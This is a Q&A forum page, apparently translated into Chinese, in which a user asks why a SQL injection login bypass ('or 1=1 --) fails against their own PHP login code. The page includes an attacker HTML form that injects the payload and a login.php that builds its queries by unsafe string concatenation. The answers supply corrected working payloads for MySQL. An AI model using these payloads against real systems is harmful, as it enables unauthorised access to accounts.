【问题标题】:Simple SQL injection failing to auth user简单的 SQL 注入无法验证用户
【发布时间】:2023-04-01 23:38:01
【问题描述】:

背景

我制作了一个html页面evil.html,当用户点击它时,他们应该能够输入用户名并点击提交按钮,从而将他们登录到我创建的网站。

我希望注入 'or 1=1 -- 意味着如果我提交一个用户名为 test 的用户,那么 SQL 查询会导致

SELECT * FROM users WHERE userid='test' or 1=1 -- AND password='$hash'

这应该意味着我的用户test 已通过身份验证。但是它会抛出一个 500,其中有 + 标志,其中注入的间距是。

我在请求中的登录参数如下所示:

login:"test'or+1=1+--"

有谁知道为什么这个漏洞不起作用?

evil.html

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<script>
  function attack() {
    document.querySelector('#login').value += "'or 1=1 --";
  }
</script>
</head>
<body>
<form action="http://example.com/" onsubmit="attack();" method="POST">
  <input name="login" id="login" value="">
  <button>Submit</button>
</form>
</body>
</html>

login.php

function login($username, $password) {
    $sql = "SELECT * FROM users WHERE userid='$username'";
    $result = $this->db->query($sql);
    $user = $result->next();
    if (!$user) {
        return false;
    }
    $salt = $user['salt'];
    $hash = md5($salt.$password);
    $sql = "SELECT * FROM users WHERE userid='$username' AND password='$hash'";
    $userdata = $this->db->query($sql)->next();
    if ($userdata) {
    // user is logged in
    // doStuff()
    }
}

【问题讨论】:

  • 错误文本是什么?
  • @u_mulder 经过进一步检查,看起来注入 ' or 1=1 -- 中的 ' 导致了错误,但我不确定为什么。至于错误文本,它只是说500 Internal Server Error,没有响应体回来。
  • 检查服务器日志以了解导致 500 错误的详细信息。

标签: php sql-injection


【解决方案1】:

加号是空格的 URL 加密形式。所以现在完全没问题(参见URL encoding the space character: + or %20? )。

在 Microsoft、Oracle、PostgreSQL 和 MySQL 广泛使用的关系数据库管理系统中,可以使用-- 引入注释。 MySQL在这里有点挑剔。它希望在-- 之后有一个空格,否则它不会识别它。

所以一个有效的利用应该是:

"test'or+1=1+--+"

您也可以尝试另一种 mySQL 表示法,例如“#comment”

"test'or+1=1+#"

参照。 https://portswigger.net/web-security/sql-injection/cheat-sheet 中的“评论”部分。

【讨论】:

    【解决方案2】:

    尝试在双连字符后添加一个空格。

    所以,从

    .value += "'or 1=1 --";.value += "'or 1=1 -- ";

    【讨论】:

      猜你喜欢
      • 2021-03-06
      • 2014-04-15
      • 1970-01-01
      • 1970-01-01
      • 2019-06-24
      • 2013-07-08
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多